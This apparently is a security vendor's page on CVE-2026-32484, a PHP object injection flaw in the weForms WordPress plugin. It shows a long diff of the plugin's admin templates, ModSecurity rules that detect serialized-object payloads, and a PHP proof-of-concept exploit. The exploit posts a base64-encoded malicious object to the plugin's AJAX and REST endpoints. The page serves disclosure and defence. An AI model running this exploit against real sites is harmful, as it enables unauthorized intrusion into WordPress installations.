+            <label class="wpuf-form-sub-label" v-if="!field.hide_subs">{{ field.last_name.sub }}</label>
+        </div>
+    </div>
+
+    <span v-if="field.help" class="wpuf-help">{{ field.help }}</span>
+</div>
+</script>
+
+<script type="text/x-template" id="tmpl-wpuf-form-notification">
+<div>
+    <!-- <pre>{{ notifications.length }}</pre> -->
+    <a href="#" class="button button-secondary add-notification" v-on:click.prevent="addNew"><span class="dashicons dashicons-plus-alt"></span> <?php _e( 'Add Notification', 'weforms' ); ?></a>
+
+    <div :class="[editing ? 'editing' : '', 'notification-wrap']">
+    <!-- notification-wrap -->
+
+        <div class="notification-table-wrap">
+            <table class="wp-list-table widefat fixed striped posts wpuf-cf-notification-table">
+                <thead>
+                    <tr>
+                        <th class="col-toggle"> </th>
+                        <th class="col-name"><?php _e( 'Name', 'weforms' ); ?></th>
+                        <th class="col-subject"><?php _e( 'Subject', 'weforms' ); ?></th>
+                        <th class="col-action"> </th>
+                    </tr>
+                </thead>
+                <tbody>
+                    <tr v-for="(notification, index) in notifications">
+                        <td class="col-toggle">
+                            <a href="#" v-on:click.prevent="toggelNotification(index)">
+                                <img v-if="notification.active" src="<?php echo WPUF_ASSET_URI; ?>/images/active.png" width="24" alt="status">
+                                <img v-else src="<?php echo WPUF_ASSET_URI; ?>/images/inactive.png" width="24" alt="status">
+                            </a>
+                        </td>
+                        <td class="col-name"><a href="#" v-on:click.prevent="editItem(index)">{{ notification.name }}</a></td>
+                        <td class="col-subject">{{ notification.type === 'email' ? notification.subject : notification.smsText }}</td>
+                        <td class="col-action">
+                            <a href="#" v-on:click.prevent="duplicate(index)" title="<?php esc_attr_e( 'Duplicate', 'weforms' ); ?>"><span class="dashicons dashicons-admin-page"></span></a>
+                            <a href="#" v-on:click.prevent="editItem(index)" title="<?php esc_attr_e( 'Settings', 'weforms' ); ?>"><span class="dashicons dashicons-admin-generic"></span></a>
+                        </td>
+                    </tr>
+                    <tr v-if="!notifications.length">
+                        <td colspan="4"><?php _e( 'No notifications found', 'weforms' ); ?></td>
+                    </tr>
+                </tbody>
+            </table>
+        </div><!-- .notification-table-wrap -->
+
+        <div class="notification-edit-area" v-if="notifications[editingIndex]">
+
+            <div class="notification-head">
+                <input type="text" name="" v-model="notifications[editingIndex].name" v-on:keyup.enter="editDone()" value="Admin Notification">
+            </div>
+
+            <div class="form-fields">
+
+                <div class="notification-row notification-field">
+                    <label for="notification-title"><?php _e( 'Type', 'weforms' ); ?></label>
+                    <select type="text" v-model="notifications[editingIndex].type">
+                        <option value="email"><?php _e( 'Email Notification', 'weforms' ); ?></option>
+                        <option value="sms"><?php _e( 'SMS Notification', 'weforms' ); ?></option>
+                    </select>
+                </div>
+
+                <template v-if="notifications[editingIndex].type == 'email' ">
+                    <div class="notification-row">
+                        <div class="row-one-half notification-field first">
+                            <label for="notification-title"><?php _e( 'To', 'weforms' ); ?></label>
+                            <input type="text" v-model="notifications[editingIndex].to">
+                            <wpuf-merge-tags filter="email_address" v-on:insert="insertValue" field="to"></wpuf-merge-tags>
+                        </div>
+
+                        <div class="row-one-half notification-field">
+                            <label for="notification-title"><?php _e( 'Reply To', 'weforms' ); ?></label>
+                            <input type="email" v-model="notifications[editingIndex].replyTo">
+                            <wpuf-merge-tags filter="email_address" v-on:insert="insertValue" field="replyTo"></wpuf-merge-tags>
+                        </div>
+                    </div>
+
+                    <div class="notification-row notification-field">
+                        <label for="notification-title"><?php _e( 'Subject', 'weforms' ); ?></label>
+                        <input type="text" v-model="notifications[editingIndex].subject">
+                        <wpuf-merge-tags v-on:insert="insertValue" field="subject"></wpuf-merge-tags>
+                    </div>
+
+                    <div class="notification-row notification-field">
+                        <label for="notification-title"><?php _e( 'Email Message', 'weforms' ); ?></label>
+
+                        <weforms-text-editor
+                            v-model="notifications[editingIndex].message"
+                            :i18n="i18n"
+                            :editingIndex="editingIndex"
+                        >
+                        </weforms-text-editor>
+
+                        <wpuf-merge-tags v-on:insert="insertValueEditor" field="message"></wpuf-merge-tags>
+                    </div>
+                </template>
+                <template v-else>
+                    <template v-if="has_sms">
+                        <div class="notification-row notification-field">
+                            <label for="notification-title"><?php _e( 'To', 'weforms' ); ?></label>
+                            <input type="text" v-model="notifications[editingIndex].smsTo">
+                            <wpuf-merge-tags v-on:insert="insertValue" field="smsTo"></wpuf-merge-tags>
+                        </div>
+                        <div class="notification-row notification-field">
+                            <label for="notification-title"><?php _e( 'SMS Text', 'weforms' ); ?></label>
+                            <textarea name="" rows="6" v-model="notifications[editingIndex].smsText"></textarea>
+                            <wpuf-merge-tags v-on:insert="insertValue" field="smsText"></wpuf-merge-tags>
+                        </div>
+                    </template>
+                    <template v-else>
+                        <p>
+                            <label class="wpuf-pro-text-alert">
+                                <a :href="pro_link" target="_blank"><?php _e( 'SMS notification moule not found', 'weforms' ); ?></a>
+                            </label>
+                        </p>
+                    </template>
+                </template>
+
+                <section class="advanced-fields">
+                    <a href="#" class="field-toggle" v-on:click.prevent="toggleAdvanced()"><span class="dashicons dashicons-arrow-right"></span><?php _e( ' Advanced', 'weforms' ); ?></a>
+
+                    <div class="advanced-field-wrap">
+                        <p class="wpuf-pro-text-alert"><?php _e( 'Make sure that your mail server is configured properly for the following "From" fields', 'weforms' ); ?></p>
+                        <template v-if="notifications[editingIndex].type == 'email' ">
+                            <div class="notification-row">
+                                <div class="row-one-half notification-field first">
+                                    <label for="notification-title"><?php _e( 'From Name', 'weforms' ); ?></label>
+                                    <input type="text" v-model="notifications[editingIndex].fromName">
+                                    <wpuf-merge-tags v-on:insert="insertValue" field="fromName"></wpuf-merge-tags>
+                                </div>
+
+                                <div class="row-one-half notification-field">
+                                    <label for="notification-title"><?php _e( 'From Address', 'weforms' ); ?></label>
+                                    <input type="email" name="" v-model="notifications[editingIndex].fromAddress">
+                                    <wpuf-merge-tags filter="email_address" v-on:insert="insertValue" field="fromAddress"></wpuf-merge-tags>
+                                </div>
+                            </div>
+
+                            <div class="notification-row">
+                                <div class="row-one-half notification-field first">
+                                    <label for="notification-title"><?php _e( 'CC', 'weforms' ); ?></label>
+                                    <input type="email" name="" v-model="notifications[editingIndex].cc">
+                                    <wpuf-merge-tags filter="email_address" v-on:insert="insertValue" field="cc"></wpuf-merge-tags>
+                                </div>
+
+                                <div class="row-one-half notification-field">
+                                    <label for="notification-title"><?php _e( 'BCC', 'weforms' ); ?></label>
+                                    <input type="email" name="" v-model="notifications[editingIndex].bcc">
+                                    <wpuf-merge-tags filter="email_address" v-on:insert="insertValue" field="bcc"></wpuf-merge-tags>
+                                </div>
+                            </div>
+                        </template>
+
+                        <div class="notification-row notification-field">
+                            <template v-if="is_pro">
+
+                                <notification-conditional-logics
+                                    :notification="notifications[editingIndex]"
+                                >
+                                </notification-conditional-logics>
+
+                            </template>
+                            <template v-else>
+                                <label class="wpuf-pro-text-alert">
+                                    <a :href="pro_link" target="_blank"><?php _e( 'Conditional Logics available in Pro Version', 'weforms' ); ?></a>
+                                </label>
+                            </template>
+                        </div>
+                    </div>
+                </section><!-- .advanced-fields -->
+            </div>
+
+            <div class="submit-area">
+                <a href="#" v-on:click.prevent="deleteItem(editingIndex)" title="<?php esc_attr_e( 'Delete', 'weforms' ); ?>"><span class="dashicons dashicons-trash"></span></a>
+                <button class="button button-secondary" v-on:click.prevent="editDone()"><?php _e( 'Done', 'weforms' ); ?></button>
+            </div>
+        </div><!-- .notification-edit-area -->
+
+    </div><!-- .notification-wrap -->
+</div>
+</script>
+
+<script type="text/x-template" id="tmpl-wpuf-integration">
+<div class="wpuf-integrations-wrap">
+
+    <template v-if="hasIntegrations">
+        <div :class="['wpuf-integration', isAvailable(integration.id) ? '' : 'collapsed']" v-for="integration in integrations">
+            <div :class="['wpuf-panel', isActive(integration.id) ? 'panel-checked' : '']">
+                <div class="wpuf-panel-body">
+                    <span class="premium-badge" v-if="!isAvailable(integration.id)"><?php _e( 'Premium', 'weforms' ); ?></span>
+                    <img class="icon" :src="integration.icon" :alt="integration.title">
+                </div>
+                <div class="wpuf-panel-footer">
+                    <div class="wpuf-setting">
+                        <a href="#" @click.prevent="openModal($event.target)" title="<?php _e( 'Settings', 'weforms' ); ?>">
+                            <svg width="21px" height="21px" viewBox="0 0 21 21" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+                            <g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">
+                                <g id="Individual-Form-Integration-Page-Design---weForms" transform="translate(-203.000000, -290.000000)" fill="#CCCCCC" fill-rule="nonzero">
+                                    <g id="Group-4" transform="translate(183.000000, 116.000000)">
+                                        <path d="M40.9342889,183.334097 C40.9010806,183.038903 40.5568864,182.817077 40.259262,182.817077 C39.2970029,182.817077 38.4431201,182.252081 38.0850175,181.378295 C37.7191793,180.483334 37.9550754,179.439603 38.6722182,178.781783 C38.8979565,178.575428 38.9253826,178.229992 38.7360563,177.990038 C38.2435578,177.364644 37.6837832,176.799726 37.0725944,176.310131 C36.8332603,176.118075 36.4821119,176.144797 36.2745796,176.374592 C35.648701,177.06773 34.5244636,177.325342 33.6557347,176.962873 C32.7516878,176.582588 32.1815991,175.666531 32.237389,174.683199 C32.2557512,174.374331 32.030013,174.10578 31.7220744,174.069916 C30.9377337,173.979201 30.1465168,173.976388 29.3598319,174.063665 C29.0554096,174.097263 28.8296713,174.359485 28.8399073,174.664447 C28.8741314,175.63809 28.2971666,176.53813 27.4021055,176.90474 C26.5437688,177.255333 25.4274233,176.999909 24.8027948,176.312944 C24.5963565,176.086664 24.2509121,176.058848 24.0104059,176.246294 C23.3810893,176.740031 22.8087346,177.305417 22.3117041,177.925655 C22.1178459,178.16678 22.1463659,178.516279 22.3743701,178.723728 C23.105187,179.385534 23.3411612,180.438328 22.9614927,181.343602 C22.5990145,182.206684 21.7027813,182.762929 20.6767623,182.762929 C20.3438199,182.752224 20.1066736,182.975691 20.0702617,183.278387 C19.9779036,184.06724 19.9768096,184.871017 20.0657297,185.666278 C20.0987036,185.962723 20.4533682,186.182595 20.7542743,186.182595 C21.6686353,186.159233 22.5465063,186.725323 22.9147667,187.621456 C23.2818551,188.516417 23.0458809,189.559522 22.3276441,190.217889 C22.1029998,190.424245 22.0744797,190.769134 22.2638061,191.009087 C22.7516945,191.630496 23.3115472,192.195961 23.9249239,192.689619 C24.1655082,192.883473 24.5155626,192.856126 24.7241107,192.62633 C25.3523334,191.931473 26.4764927,191.67433 27.3417836,192.037503 C28.2480965,192.416615 28.8181852,193.332594 28.7623952,194.316473 C28.7441893,194.625498 28.9710214,194.894517 29.2777098,194.929835 C29.6789441,194.976638 30.0826006,195 30.4873511,195 C30.8715515,195 31.25583,194.978903 31.6400304,194.936164 C31.9445309,194.902565 32.1701129,194.640344 32.1598769,194.334835 C32.1246371,193.361739 32.7026176,192.461699 33.5965067,192.095713 C34.4606255,191.742777 35.5722828,192.001092 36.1969894,192.687353 C36.4045998,192.913164 36.7476219,192.940433 36.9894564,192.753612 C37.617601,192.261048 38.1887836,191.69613 38.6881582,191.074173 C38.8819384,190.833595 38.8545904,190.483549 38.6254141,190.276178 C37.8945972,189.614373 37.657451,188.561423 38.0371194,187.656773 C38.39405,186.805177 39.2569967,186.233383 40.185188,186.233383 L40.3150519,186.236743 C40.6161144,186.2612 40.8931106,186.029294 40.9296007,185.721988 C41.0221151,184.932432 41.023209,184.129358 40.9342889,183.334097 Z M30.5166525,188.024555 C28.5852583,188.024555 27.0142326,186.453568 27.0142326,184.522222 C27.0142326,182.590953 28.5852583,181.019888 30.5166525,181.019888 C32.4479686,181.019888 34.0189943,182.590953 34.0189943,184.522222 C34.0189943,186.453568 32.4479686,188.024555 30.5166525,188.024555 Z" id="Shape" transform="translate(30.500000, 184.500000) scale(-1, 1) translate(-30.500000, -184.500000) "></path>
+                                    </g>
+                                </g>
+                            </g>
+                            </svg>
+                        </a>
+                    </div>
+                    <div :class="['wpuf-toggle-switch', 'big', isActive(integration.id) ? 'checked' : '']" v-on:click="toggleState(integration.id, $event.target)">
+                        <span class="toggle-indicator"></span>
+                    </div>
+                </div>
+            </div>
+
+            <div :id="integration.id" class="wf-modal" role="dialog">
+                <div class="wf-modal-dialog">
+                    <div class="wf-modal-content">
+                        <div class="wf-modal-header">
+                            <div class="modal-header-left">
+                                <div :class="['wpuf-toggle-switch', 'big', isActive(integration.id) ? 'checked' : '']" v-on:click="toggleState(integration.id, $event.target)">
+                                    <span class="toggle-indicator"></span>
+                                </div>
+                                <img class="icon" height="30px" :src="integration.icon" :alt="integration.title">
+                            </div>
+                            <span class="modal-close" @click.prevent="hideModal($event.target)">x</span>
+                        </div>
+                        <div class="wf-modal-body">
+                            <div v-if="isAvailable(integration.id)">
+                                <component :is="'wpuf-integration-' + integration.id" :id="integration.id"></component>
+                            </div>
+                            <div v-else>
+                                <?php _e( 'This feature is available on the premium version only.', 'best-contact-form' ); ?>
+                                <a class="button" :href="pro_link" target="_blank"><?php _e( 'Upgrade to Pro', 'best-contact-form' ); ?></a>
+                            </div>
+                        </div>
+                        <div class="wf-modal-footer">
+                            <button type="button" class="button button-primary" @click="save_form_builder($event.target)">
+                                <?php _e( 'Save Form', 'weforms' ); ?>
+                            </button>
+                        </div>
+                    </div>
+                </div>
+            </div>
+
+        </div>
+    </template>
+
+    <div v-else>
+        <?php _e( 'No integration found.', 'best-contact-form' ); ?>
+    </div>
+</div>
+</script>
+
+<script type="text/x-template" id="tmpl-wpuf-integration-erp">
+<div>
+
+    <?php if ( !function_exists( 'erp_crm_get_contact_groups' ) ) { ?>
+
+        <p>
+            <?php printf( __( '<a href="%s" target="_blank">WP ERP</a> plugin is not installed. Please install the plugin first.', 'weforms' ), 'https://wordpress.org/plugins/erp/' ); ?>
+        </p>
+
+    <?php } else { ?>
+        <?php
+        $erp_contact_groups = erp_crm_get_contact_groups( [
+            'number'  => -1,
+            'orderby' => 'name',
+            'order'   => 'ASC',
+        ] );
+        ?>
+
+        <div class="wpuf-int-form-row">
+            <div class="wpuf-int-field-label">
+                <label for="erp-group-id"><?php _e( 'Contact Group', 'weforms' ); ?></label>
+            </div>
+            <div class="wpuf-int-field">
+                <ul style="margin: 0;">
+                    <?php foreach ( $erp_contact_groups as $group ) { ?>
+                        <li>
+                            <label>
+                                <input type="checkbox" v-model="settings.group" class="checkbox" value="<?php echo $group->id; ?>">
+                                <?php echo $group->name; ?>
+                            </label>
+                        </li>
+                    <?php } ?>
+                </ul>
+            </div>
+        </div>
+
+        <div class="wpuf-int-form-row">
+            <div class="wpuf-int-field-label">
+                <label for="erp-group-id"><?php _e( 'Life Stage', 'weforms' ); ?></label>
+            </div>
+            <div class="wpuf-int-field">
+                <select v-model="settings.stage">
+                    <?php echo erp_crm_get_life_stages_dropdown(); ?>
+                </select>
+            </div>
+        </div>
+
+        <fieldset>
+            <legend><?php _e( 'Mapping Fields', 'weforms' ); ?></legend>
+
+            <p class="description" style="padding: 0 0 10px 0;">
+                <?php _e( 'Please map the form input fields with ERP required fields', 'weforms' ); ?>
+            </p>
+
+            <div class="wpuf-int-form-row mapping-fields">
+                <div class="wpuf-int-field-label">
+                    <label><?php _e( 'Email Address', 'weforms' ); ?> <span class="required">*</span></label>
+                </div>
+                <div class="wpuf-int-field">
+                    <div class="wpuf-int-field-small">
+                        <input type="email" class="regular-text" v-model="settings.fields.email">
+                        <wpuf-merge-tags filter="email_address" v-on:insert="insertValue" field="email"></wpuf-merge-tags>
+                    </div>
+                </div>
+            </div>
+
+            <div class="wpuf-int-form-row">
+                <div class="wpuf-int-field-label">
+                    <label><?php _e( 'First Name', 'weforms' ); ?></label>
+                </div>
+                <div class="wpuf-int-field">
+                    <div class="wpuf-int-field-small">
+                        <input type="text" class="regular-text" v-model="settings.fields.first_name">
+                        <wpuf-merge-tags v-on:insert="insertValue" field="first_name"></wpuf-merge-tags>
+                    </div>
+                </div>
+            </div>
+
+            <div class="wpuf-int-form-row">
+                <div class="wpuf-int-field-label">
+                    <label><?php _e( 'Last Name', 'weforms' ); ?></label>
+                </div>
+                <div class="wpuf-int-field">
+                    <div class="wpuf-int-field-small">
+                        <input type="text" class="regular-text" v-model="settings.fields.last_name">
+                        <wpuf-merge-tags v-on:insert="insertValue" field="last_name"></wpuf-merge-tags>
+                    </div>
+                </div>
+            </div>
+        </fieldset>
+
+    <?php } ?>
+</div></script>
+
+<script type="text/x-template" id="tmpl-wpuf-integration-slack">
+<div>
+    <div class="wpuf-int-form-row">
+        <div class="wpuf-int-field-label">
+            <label for="mailchimp-list-id"><?php _e( 'Slack Webhook URL', 'weforms' ); ?></label>
+        </div>
+        <div class="wpuf-int-field">
+            <input type="url" class="regular-text" v-model="settings.url" placeholder="https://hooks.slack.com/services/...">
+            <p class="help"><?php printf( __( '%sSlack webhook URL%s to send our JSON payloads (%sView documentation%s)', 'weforms' ), '<a href="https://api.slack.com/incoming-webhooks" target="_blank" >', '</a>', '<a href="https://wedevs.com/docs/weforms/integrations/slack/" target="_blank" >', '</a>' ); ?></p>
+        </div>
+    </div>
+</div></script>
+
+<script type="text/x-template" id="tmpl-wpuf-integration-sprout-invoices">
+<div>
+
+    <?php if (!function_exists( 'sprout_invoices_load' )) { ?>
+
+        <p>
+            <?php printf( __( '<a href="%s" target="_blank">Sprout Invoices</a> plugin is not installed. Please install the plugin first.', 'weforms' ), 'https://wordpress.org/plugins/sprout-invoices/' ); ?>
+        </p>
+
+    <?php } else { ?>
+
+        <div class="wpuf-int-form-row">
+            <div class="wpuf-int-field-label">
+                <label for="sprout-invoices-doctype"><?php _e( 'Create New', 'weforms' ); ?></label>
+            </div>
+            <div class="wpuf-int-field">
+                <select v-model="settings.doctype">
+                    <option value="estimate"><?php _e( 'Quote', 'weforms' ) ?></option>
+                    <option value="invoice"><?php _e( 'Invoice', 'weforms' ) ?></option>
+                    <option value="client"><?php _e( 'Client (only)', 'weforms' ) ?></option>
+                </select>
+            </div>
+        </div>
+
+
+        <fieldset>
+            <legend><?php _e( 'Mapping Fields', 'weforms' ); ?></legend>
+
+            <p class="description" style="padding: 0 0 10px 0;">
+                <?php _e( 'Please map the form input fields with Sprout Invoices fields', 'weforms' ); ?>
+            </p>
+
+            <div class="wpuf-int-form-row mapping-fields">
+                <div class="wpuf-int-field-label">
+                    <label><?php _e( 'Invoice/Quote Title', 'weforms' ); ?></label>
+                </div>
+                <div class="wpuf-int-field">
+                    <div class="wpuf-int-field-small">
+                        <input type="email" class="regular-text" v-model="settings.fields.subject">
+                        <wpuf-merge-tags v-on:insert="insertValue" field="subject"></wpuf-merge-tags>
+                    </div>
+                </div>
+            </div>
+
+            <div class="wpuf-int-form-row mapping-fields">
+                <div class="wpuf-int-field-label">
+                    <label><?php _e( 'Client Name', 'weforms' ); ?></label>
+                </div>
+                <div class="wpuf-int-field">
+                    <div class="wpuf-int-field-small">
+                        <input type="email" class="regular-text" v-model="settings.fields.client_name">
+                        <

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-32484
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:10032484,phase:2,deny,status:403,chain,msg:'CVE-2026-32484: PHP Object Injection via weForms AJAX',severity:'CRITICAL',tag:'CVE-2026-32484',tag:'weForms',tag:'PHP-Object-Injection'"
  SecRule ARGS_POST:action "@rx ^weforms_" "chain"
    SecRule ARGS_POST:data.* "@rx ^[a-zA-Z0-9+/]+={0,2}$" "chain"
      SecRule ARGS_POST:data.* "@rx O:[0-9]+:"[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*"" 
        "t:none,t:base64decode,t:urlDecodeUni,ctl:auditLogParts=+E,setvar:'tx.cve_2026_32484_score=+%{tx.critical_anomaly_score}',setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'"

SecRule REQUEST_URI "@rx ^/wp-json/weforms/v[0-9]+/" 
  "id:20032484,phase:2,deny,status:403,chain,msg:'CVE-2026-32484: PHP Object Injection via weForms REST API',severity:'CRITICAL',tag:'CVE-2026-32484',tag:'weForms',tag:'PHP-Object-Injection'"
  SecRule REQUEST_METHOD "@rx ^POST|PUT$" "chain"
    SecRule REQUEST_BODY "@rx "payment_data"s*:s*"([a-zA-Z0-9+/]+={0,2})"" 
      "capture,chain"
      SecRule TX:1 "@rx O:[0-9]+:"[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*"" 
        "t:none,t:base64decode,t:urlDecodeUni,ctl:auditLogParts=+E,setvar:'tx.cve_2026_32484_score=+%{tx.critical_anomaly_score}',setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-32484 - weForms – Easy Drag & Drop Contact Form Builder For WordPress <= 1.6.26 - Unauthenticated PHP Object Injection

<?php
/**
 * Proof of Concept for CVE-2026-32484
 * Demonstrates PHP Object Injection via weForms plugin
 * WARNING: For authorized testing only
 */

$target_url = 'http://target-site.com/wp-admin/admin-ajax.php';

class ExploitPayload {
    public $test = 'Atomic Edge Research';
    private $command;
    
    public function __construct($cmd) {
        $this->command = $cmd;
    }
    
    public function __wakeup() {
        // This demonstrates the injection point
        // In a real exploit, this would execute the command
        file_put_contents('/tmp/exploit_test.log', 
            'Vulnerable: ' . $this->command . 'n', 
            FILE_APPEND);
    }
}

// Generate malicious serialized object
$payload = new ExploitPayload('id');
$serialized_payload = serialize($payload);

// Base64 encode to avoid encoding issues
$encoded_payload = base64_encode($serialized_payload);

// Prepare POST data targeting weForms AJAX handler
$post_data = [
    'action' => 'weforms_form_entry',
    'form_id' => '1',
    'page_id' => '1',
    'data' => [
        'payment_data' => $encoded_payload
    ]
];

// Alternative: Target the REST API endpoint
$rest_url = 'http://target-site.com/wp-json/weforms/v1/entries';
$rest_data = [
    'form_id' => 1,
    'payment_data' => $encoded_payload
];

// Initialize cURL for AJAX endpoint
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/x-www-form-urlencoded',
    'X-Requested-With: XMLHttpRequest'
]);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Check for successful injection
if ($http_code == 200) {
    echo "[+] Request sent successfullyn";
    echo "[+] Payload: " . $serialized_payload . "n";
    
    // Check if the exploit triggered
    if (file_exists('/tmp/exploit_test.log')) {
        echo "[!] EXPLOIT SUCCESSFUL - Object injection confirmedn";
        echo "    Check /tmp/exploit_test.log for evidencen";
    } else {
        echo "[-] No immediate evidence of exploitationn";
        echo "    The plugin may be patched or no POP chain availablen";
    }
} else {
    echo "[-] Request failed with HTTP code: " . $http_code . "n";
}

// Also test the REST API endpoint
$ch2 = curl_init();
curl_setopt($ch2, CURLOPT_URL, $rest_url);
curl_setopt($ch2, CURLOPT_POST, true);
curl_setopt($ch2, CURLOPT_POSTFIELDS, json_encode($rest_data));
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch2, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json'
]);

$response2 = curl_exec($ch2);
$http_code2 = curl_getinfo($ch2, CURLINFO_HTTP_CODE);
curl_close($ch2);

if ($http_code2 == 200 || $http_code2 == 201) {
    echo "[+] REST API endpoint may also be vulnerablen";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School